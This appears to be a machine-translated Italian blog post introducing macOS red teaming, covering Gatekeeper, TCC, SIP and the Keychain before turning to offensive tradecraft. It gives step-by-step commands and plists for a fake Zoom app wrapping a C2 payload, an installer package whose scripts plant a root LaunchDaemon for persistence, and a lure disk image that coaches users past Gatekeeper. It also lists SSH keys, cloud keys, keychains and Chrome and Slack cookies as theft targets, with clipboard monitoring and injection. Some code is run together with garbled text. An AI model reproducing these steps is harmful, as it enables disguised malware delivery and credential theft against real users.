Questo post copre i concetti di sicurezza di base di macOS e, si spera, serva come introduzione agli ambienti macOS di Red Teaming.

Argomenti trattati

• Panoramica sulla sicurezza di macOS
  - Gatekeeper e XProtect
  - Runtime rinforzato
  - Protezione dell'integrità del sistema (SIP)
  - Trasparenza, consenso e controllo (TCC)
  - Sandbox macOS
  - Portachiavi
• Payload di accesso iniziale e persistenza
  - Pacchetti di applicazioni
  - Pacchetti di installazione
  - Immagini disco (DMG)
• Escalation dei privilegi e post-sfruttamento
  - Consapevolezza della situazione
  - Furto di cookie
  - Monitoraggio degli appunti
  - Iniezione di codice
  - Caricamento Mach-O in memoria

Niente all'interno di questo post è una "nuova" ricerca, ma invece informazioni consolidate sugli argomenti di cui sopra, dalle risorse seguenti, in un unico posto per facilitare la lettura e l'introduzione.

• Blog
  - Patrick Wardle/Objective See
  - Adam Chester
  - Justin Bui
  - Csaba Fitzl
  - Wojciech Reguła
  - Cedric Owens
  - Chris Ross
  - Leo Pitt
• Video
  - DEFCON 29 di Cedric Owens: Red Teaming macOS
  - OBTS di Cody Thomas: Red Teaming macOS
  - x33fcon di Wojciech Reguła: Red Teaming macOS
  - OBTS di Cody Thomas: Lock Picking the macOS Keychain
• Libri/Corsi
  - The Art of Mac Malware di Patrick Wardle
  - OSMR di Offensive Security
• Riferimento all-in-one
  - Awesome-macOS-Red-Teaming

Guardiano e XProtect

Gatekeeper è un meccanismo di sicurezza progettato per consentire solo l'esecuzione di applicazioni attendibili sui sistemi, analogamente a SmartScreen e MOTW su Windows. Quando i file eseguibili vengono scaricati da Internet, vengono contrassegnati con l' com.apple.quarantineattributo, che attiva il gatekeeper quando il file viene eseguito.

Se l'eseguibile è autenticato, Gatekeeper verifica la firma del codice del file e presenta una richiesta all'utente per confermare che desidera eseguire il file.

Se l'eseguibile non è autenticato, Gatekeeper presenterà un prompt all'utente informandolo che il file non può essere eseguito poiché non è firmato. Per eseguire eseguibili non firmati, l'utente deve fare clic con il pulsante destro del mouse sul file, quindi fare clic su Apri, invece di fare doppio clic.

Dopo la verifica della firma del codice, XProtect, che è l'antivirus integrato di macOS, eseguirà la scansione del file alla ricerca di malware. XProtect utilizza le regole YARA che possono essere trovate tramite locate XProtect.yarae sono per la maggior parte inutili a meno che non si eseguano payload Metasploit predefiniti. Inoltre, XProtect esegue la scansione alla ricerca di malware solo in tre condizioni

• Il file viene eseguito per la prima volta
• L'hash del file è cambiato
• Le regole YARA di XProtect sono state aggiornate

Tempo di esecuzione rafforzato

Il runtime rafforzato è una funzionalità che può essere abilitata sulle app per proteggere dall'iniezione di codice tramite il dirottamento di dylib, le variabili di ambiente e l'iniezione della porta delle attività. Un esempio di come il runtime rafforzato protegge dall'iniezione è richiedere che qualsiasi dylib caricato nel processo sia firmato con lo stesso certificato dell'app stessa. Ciò ovviamente causa problemi quando un'applicazione deve caricare dylib di terze parti, quindi le app possono avere determinati diritti per rimuovere alcune di queste restrizioni.

Possiamo elencare i diritti delle app tramite codesign -d --entitlements :- <file>o il list_entitlementscomando in Poseidon e, se è presente uno dei seguenti, potremmo essere in grado di iniettare nell'app:

• L' com.apple.security.cs.disable-library-validationautorizzazione consente di caricare nel processo qualsiasi dylib, firmato o non firmato. A seconda della posizione dei dylib caricati dall'app, questo potrebbe aprire la porta al dirottamento di dylib.
• L' com.apple.security.cs.allow-dyld-environment-variablesautorizzazione consente di caricare dylibs dalla DYLD_INSERT_LIBRARIESvariabile di ambiente. Tuttavia, questa autorizzazione da sola non rimuove i requisiti di firma del codice menzionati in precedenza. Se questo diritto è presente insieme al diritto di convalida della libreria di disabilitazione, è possibile iniettare nell'app tramite in DYLD_INSERT_LIBRARIES=malicious.dylib ./appmodo simile a LD_PRELOADLinux.
• L' com.apple.security.get-task-allowautorizzazione consente ad altre app di ottenere la porta delle attività della tua app, operazione simile all'ottenimento di un handle per un processo in Windows. Va notato che per accedere a una task port il tuo codice deve essere eseguito come root. Con il task port puoi quindi eseguire la tua classica iniezione di processo scrivendo shellcode e creando un thread.

Protezione dell'integrità del sistema (SIP)

SIP aka "rootless" protegge i file di sistema dalle modifiche. In sostanza, anche come utente root non possiamo modificare alcuni file di sistema come gli eseguibili all'interno di /bin/. I file protetti da SIP possono essere identificati tramite il restrictedflag.

SIP può essere disabilitato tramite csrutil disable, tuttavia, richiede il riavvio del dispositivo in modalità di ripristino, quindi, questo di solito è fuori discussione dal punto di vista della squadra rossa.

Trasparenza, consenso e controllo (TCC)

TCC è la funzionalità di privacy di macOS implementata nella versione 10.14+ che richiede all'utente di concedere esplicitamente le autorizzazioni quando un'applicazione tenta di accedere a determinate risorse come la fotocamera e determinate cartelle tra cui , , Desktope Downloadsunità Documents/volumi.

Il tentativo di accedere a una risorsa protetta da TCC senza autorizzazioni potrebbe portare alla generazione accidentale di un prompt, all'avviso dell'utente della tua presenza e, in ultima analisi, al termine del coinvolgimento prima del previsto. Di seguito sono riportati alcuni file utili che non sono protetti da TCC:

• File e cartelle nascosti nella home directory — ~/.aws/*, ~/.ssh/*, ~/.bash_history,~/.zsh_history
• Dati applicazione utente —~/Library/Application Support/*
• File cookie — ~/Library/Application Support/Google/Chrome/Default/Cookies,~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

Il database TCC dell'utente richiede l'accesso completo al disco (FDA) per interagire, tuttavia, se possiamo interagire con esso, possiamo quindi modificarlo per concederci l'accesso ad altre risorse. Possiamo verificare se abbiamo FDA senza chiedere conferma all'utente eseguendo fileil database TCC dell'utente.

Le tangenziali TCC non sono particolarmente “rare” e consiglio di dare un'occhiata al blog di Csaba Fitzl per rimanere aggiornati su vecchie e nuove tangenziali.

sandbox macOS

La sandbox macOS è una funzionalità che gli sviluppatori possono attivare per le proprie app se vengono rilasciate al di fuori dell'App Store ed è obbligatoria per tutte le app scaricate direttamente dall'App Store. Le app che hanno aderito alla funzione sandbox avranno il com.apple.security.app-sandboxdiritto e, come suggerisce il nome, le costringeranno a funzionare all'interno di una sandbox. Le app in esecuzione in una sandbox hanno un accesso estremamente limitato al sistema, ad esempio la possibilità di leggere o scrivere file sul disco. Per questo motivo, alcuni percorsi di attacco su macOS come il phishing tramite macro non sono allettanti. Poiché le app di Microsoft Office si iscrivono alla sandbox e ti impediranno di persistere e saccheggiare.

Portachiavi

Il portachiavi può essere paragonato a LSASS su Windows e contiene segreti come password e chiavi per le app. Ad esempio, un'applicazione può crittografare i file che memorizza su disco e la chiave di decrittazione per questi file è archiviata all'interno del portachiavi. Il portachiavi di sistema è disponibile all'indirizzo /Library/Keychains/System.keychaine il portachiavi dell'utente è disponibile all'indirizzo ~/Library/Keychains/login.keychain-db.

Puoi scaricare il portachiavi dell'utente, anche se i segreti all'interno saranno crittografati con la password dell'utente. A seconda che tu abbia la password dell'utente, puoi sfruttare Chainbreaker per estrarre i segreti o scaricare l'hash della password del portachiavi --dump-keychain-password-hashin ​​un formato per hashcat che è estremamente lento da decifrare.

Infine, ogni voce all'interno del portachiavi ha ACL e autorizzazioni associati che possono essere visualizzati all'interno dell'app Accesso Portachiavi. Le applicazioni attendibili sono app che possono eseguire operazioni sulla voce del portachiavi senza chiedere conferma all'utente. Questo elenco può essere trovato nella scheda "Controllo accesso" e un caso interessante è dove l'elenco è "NULL", il che significa che tutte le app sono attendibili, da non confondere con un elenco vuoto che significa semplicemente che nessuna app è attendibile.

Se sei in esecuzione nel contesto di un'app attendibile o l'elenco è NULL e disponi di una delle seguenti autorizzazioni, potresti essere in grado di estrarre i segreti senza richiedere all'utente:

• Autorizzazione ACLDecrypt
• ACLAutorizzazioneEsportaCancella
• ACLAuthorizationExportWrapped
• Autorizzazione ACLQualsiasi

Payload di accesso iniziale e persistenza

Se sei interessato a conoscere i tipi di payload per macOS alternativi a quelli elencati di seguito, ti consiglio di dare un'occhiata al progetto Mystikal e al post sul blog associato .

Inoltre, va notato che i prodotti EDR su macOS non sono maturi e funzionano essenzialmente solo come prodotti di registrazione. Pertanto, in genere puoi utilizzare qualsiasi agente C2 predefinito oltre a Metasploit e non devi preoccuparti che l'EDR rilevi il tuo payload.

Pacchetti di applicazioni

I bundle di applicazioni (.app) sono uno dei tipi di programma più comuni e sono il formato in cui viene rilasciato quasi tutto il software per l'utente finale. Gli app bundle vengono archiviati all'interno /Applications/e visualizzati quando si fa clic su Launchpad. Facendo riferimento alla documentazione di Apple , un app bundle minimo ha in genere la seguente struttura:

AppName.app/
    Contents/
        Info.plist  # App config info
        MacOS/      # Contains the app's executable file
        Resources/  # Fonts, images, sounds, icons, etc.

1 - Crea la struttura delle cartelle del bundle dell'app

mkdir FakeZoom.app
mkdir FakeZoom.app/Contents
touch FakeZoom.app/Contents/Info.plist
mkdir FakeZoom.app/Contents/MacOS
mkdir FakeZoom.app/Contents/Resources

Successivamente, poiché ora sono comuni sia i Mac Intel che Silicon, possiamo creare sia un payload AMD che ARM Poseidon, quindi combinarli in un Mach-O universale che può essere eseguito su entrambe le architetture tramite e quindi inserirlo nella lipo -create <arm-payload> <amd-payload> -output <universal-payload>directory MacOS.

3 - Crea il Info.plistfile.

Facendo riferimento ai documenti per sviluppatori di Apple, dovremo specificare alcune chiavi:

• CFBundleExecutable — Il nome dell'eseguibile principale all'interno della directory MacOS (PoseidonPayload)
• CFBundleIconFile — Il nome dell'immagine dell'applicazione (ZoomImageForPayload)
• CFBundleIdentifier — La stringa che identifica in modo univoco la tua applicazione sul sistema (com.examplepayload.Zoom)
• CFBundleName — Il nome della tua app (FakeZoom)
• CFBundleVersion: il numero di versione della build della tua app (1.0.0)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>CFBundleExecutable</key>
 <string>PoseidonPayload</string>
 <key>CFBundleIconFile</key>
 <string>ZoomImageForPayload</string>
 <key>CFBundleIdentifier</key>
 <string>com.examplepayload.Zoom</string>
 <key>CFBundleName</key>
 <string>FakeZoom</string>
 <key>CFBundleVersion</key>
 <string>1.0.0</string>
</dict>
</plist>

Poiché stiamo creando un'app Zoom falsa, possiamo semplicemente copiare il file icns di Zoom dalla /Applications/directory (se è installato) e in Resources/ZoomImageForPayload, tuttavia, puoi in alternativa utilizzare qualsiasi icona desideri.

Pacchetti di installazione

I pacchetti di installazione (.pkg) sono archivi xar e un altro tipo di programma comune visto quando il software deve essere installato con privilegi di root. Sebbene i pacchetti di installazione possano contenere un payload principale da eseguire all'apertura, un'alternativa è sfruttare gli script "preinstalla" e "postinstallazione", che il nome implica, eseguirà uno script prima e dopo l'installazione.

Per questo esempio creeremo un pacchetto di installazione che utilizza questi script per registrare un LaunchDaemon per la persistenza come utente root quando viene aperto.

1 - Crea la struttura delle cartelle del pacchetto di installazione

mkdir scripts
mkdir scripts/files
touch scripts/preinstall
touch scripts/postinstall
chmod +x scripts/preinstall
chmod +x scripts/postinstall

2 - Crea un file plist per registrarti come LaunchDaemon

C'è davvero solo un valore necessario all'interno di questo file plist che è ProgramArgumentsed essenzialmente specifica cosa eseguire quando viene attivato LaunchDaemon.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key>
 <string>com.examplepayload.persistence</string>
 <key>ProgramArguments</key>
 <array>
  <string>/Library/Application Support/PoseidonPayload</string>
 </array>
 <key>KeepAlive</key>
 <true/>
</dict>
</plist>

3 - Creare gli script pre e post installazione

Questi script sono solo normali script bash, tuttavia devono iniziare con #!/bin/bashe terminare con exit 0. Useremo lo script di preinstallazione per copiare il nostro plist e il payload nelle posizioni corrette sul disco, quindi lo script di postinstallazione per registrare LaunchDaemon.

#!/bin/bash
cp files/PoseidonPayload "/Library/Application Support/PoseidonPayload"
cp files/com.examplepayload.persistence.plist "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0
#!/bin/bash
launchctl load "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0

      
                

                    
                    
                
            

Per creare il pacchetto di installazione da questi script possiamo semplicemente eseguirepkgbuild --identifier <identifier> --nopayload --scripts <path to scripts folder> <output>.pkg

Possiamo scaricare LaunchDaemon eseguendo launchctl unload com.examplepayload.persistence.pliste va notato che l'eliminazione del payload su /Library/Application Support/era puramente una preferenza e può essere eliminata altrove.

LaunchDaemons rappresenta solo una forma di persistenza su macOS e se sei interessato ad altre forme, ti consiglio di dare un'occhiata al blog di SentinelOne .

Immagini disco (DMG)

I DMG sono volumi compressi che possono contenere altri formati di payload. Il vantaggio di consegnare il tuo payload all'interno di un file DMG è che puoi aggiungere elementi grafici per aiutare a socializzare l'utente a fare clic con il pulsante destro del mouse, quindi aprire il tuo payload per bypassare Gatekeeper, poiché il DMG stesso non invoca Gatekeeper.

Per creare un DMG dall'aspetto autentico, dovremo creare un'immagine di sfondo personalizzata, preferisco sfruttare software legittimo o sfondo aziendale insieme a draw.io , ma puoi crearne uno tuo come preferisci.

Per questa demo, sono andato con questa immagine come base e ho creato questo:

Per iniziare possiamo creare un'immagine del disco aprendo Disk Utilitye selezionando "File", quindi "Nuova immagine", quindi "Immagine vuota..."

Possiamo selezionare il nome del nostro volume, quindi cambiare il "Formato" in "Mac OS Extended (Journaled)".

Apri il file .dmg, che nel mio caso è "example-payload.dmg" e un volume apparirà sul desktop, quindi apri il volume, che nel mio caso è "example". Per mostrare i file nascosti su macOS puoi fare clic su "[maiusc] + [comando] + [punto]".

Sposta la tua immagine di sfondo nel volume /Volumes/<volume-name>/come file nascosto, insieme al tuo payload. Per questo esempio possiamo riutilizzare l'app bundle della sezione precedente.

Successivamente, possiamo fare clic sul volume e selezionare "Visualizza" seguito da "Mostra opzioni di visualizzazione".

In "Sfondo" seleziona "Immagine", quindi fai doppio clic sulla casella "Trascina immagine qui". Si aprirà una nuova finestra del Finder e potrai selezionare l'immagine di sfondo all'interno del volume. Se non si sceglie un'immagine contenuta all'interno del volume potrebbe causare errori. Inoltre, possiamo ridimensionare l'icona tramite "Icon Size".

Ridimensiona la finestra per adattarla allo sfondo e centra il pacchetto dell'app.

Una volta che sei soddisfatto del layout e mentre la finestra del Finder è ancora aperta, fai clic con il pulsante destro del mouse sul volume sul desktop e fai clic su "Espelli".

Riapri Disk Utilitye seleziona "Immagini", quindi "Converti..."

Seleziona il tuo file DMG, quindi seleziona "Crittografia: nessuna" e "Formato immagine: compresso"

Ovviamente questa demo non ha molto senso dato che è uno sfondo di Chrome, con un'applicazione Zoom (lol), tuttavia, si spera che tu capisca il punto.

Un'ultima cosa da prendere in considerazione per quanto riguarda i payload è che i file scaricati tramite il browser aggiungeranno l' com.apple.metadata:kMDItemWhereFromsattributo, che elenca da dove è stato scaricato il file. Se stai scaricando il tuo payload Poseidon direttamente da Mythic nel tuo browser prima di impacchettarlo, questo può portare a rivelare accidentalmente la posizione del server del tuo team. Puoi rimuovere questo attributo tramite xattr -d com.apple.metadata:kMDItemWhereFroms <file>.

Escalation dei privilegi e post-sfruttamento

Questa sezione non è esaustiva di tutte le attività che puoi eseguire dopo aver ottenuto una shell e ha lo scopo di dare solo un'idea generale di post-ex su macOS.

La consapevolezza della situazione

Puoi iniziare con alcuni controlli di consapevolezza situazionale sul sistema, eseguendo HealthInspector o SwiftBelt o sfogliando manualmente i file di configurazione. Molti di questi file saranno file plist in formato binario e per renderli leggibili puoi usare plutil. Alcuni file di interesse potrebbero essere:

• Quali app l'utente ha nel dock? —plutil -p ~/Library/Preferences/com.apple.dock.plist
• Con quali file l'utente ha interagito di recente? —plutil -p ~/Library/Preferences/com.apple.finder.plist
• Che versione di macOS hai? —plutil -p /System/Library/CoreServices/SystemVersion.plist

Successivamente, puoi iniziare a scaricare alcuni file che non sono protetti da TCC dal disco, inclusa la cronologia bash o zsh dell'utente, chiavi ssh, chiavi cloud (AWS, GCP, ecc.), portachiavi e cookie.

Dato che sei su un macOS, è probabile che l'organizzazione per il tuo coinvolgimento possa essere un'azienda tecnologica o una startup, e Slack è comune da vedere in questi ambienti. In tal caso, puoi scaricare i seguenti file:

• ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/storage/root-state.json
• ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

Successivamente, puoi scegliere come target i cookie del browser, per questo esempio utilizzeremo Google Chrome. Se hai la password dell'utente trovandola nella cronologia bash o zsh o forse eseguendo un prompt di password , puoi scaricare ~/Library/Application Support/Google/Chrome/Default/Cookiese decrittografare il file offline. In alternativa, se non si dispone della password dell'utente, è possibile utilizzare strumenti come WhiteChocolateMacademiaNut per avviare Chrome con il debug remoto abilitato e quindi scaricare i cookie su un websocket. Ancora una volta, poiché gli EDR mac non sono maturi, l'eliminazione di strumenti confusi su disco non dovrebbe essere un grosso problema.

Con l'accesso ai cookie del browser è quindi possibile aprire un SOCKS tramite il comando integrato di Poseidon o rilasciare scalpello e navigare nei siti interni. In particolare, potresti voler scegliere come target siti di documentazione interna come Confluence e i loro repository di codice interno per trovare credenziali privilegiate.

Monitoraggio degli appunti

Su macOS ogni volta che il contenuto degli appunti è cambiato, viene incrementato un contatore, quindi possiamo monitorare il valore del contatore in un intervallo e recuperare il contenuto degli appunti se è cambiato. Poseidon ha un comando integrato clipboard_monitorche possiamo sfruttare per questo.

Alcune cose aggiuntive da notare:

• Il clipboard_monitorcomando filtra per recuperare solo testo semplice, quindi se l'utente copia un file binario di grandi dimensioni nei propri appunti, non dobbiamo preoccuparci di inviare grandi quantità di traffico sul nostro C2.
• L'utente root non ha accesso agli appunti, quindi tutti gli strumenti di monitoraggio degli appunti devono essere eseguiti in un contesto utente.

Come accennato in precedenza nella sezione Harden Runtime, essere in grado di inserire codice in un'applicazione è utile dal punto di vista del team rosso in quanto può potenzialmente concedere diritti aggiuntivi e accesso a risorse che in precedenza non si disponevano.

Ad esempio, il tuo payload iniziale potrebbe non avere accesso alla cartella Download, tuttavia, se puoi inserire codice in Chrome che potrebbe avere il com.apple.security.files.downloads.read-writediritto, sarai quindi in grado di sfogliare la cartella Download.

Per trovare obiettivi per l'iniezione di codice è possibile eseguire list_entitlementsil comando di Poseidon che cercherà i processi in esecuzione con i diritti menzionati nella sezione hardened runtime.

Da qui puoi quindi ispezionare ogni processo per trovare un potenziale obiettivo.

Un'altra forma di iniezione di codice non menzionata in precedenza è il "dirottamento elettronico", ampiamente trattato da Adam Chester in questo blog . Essenzialmente puoi sfruttare la ELECTRON_RUN_AS_NODEvariabile di ambiente per generare un processo come figlio di un'app elettronica e poiché i processi figlio ereditano le autorizzazioni TCC del loro genitore, puoi potenzialmente ottenere i loro diritti.

Caricamento Mach-O in memoria

Sebbene sicuramente non sia necessario con lo stato attuale degli EDR macOS, è possibile eseguire Mach-Os in memoria. Le API utilizzate per eseguire il caricamento in memoria variano tra le versioni del sistema operativo, quindi non ne parlerò, ma consiglio invece di controllare il post di Justin Bui e il post di Adam Chester .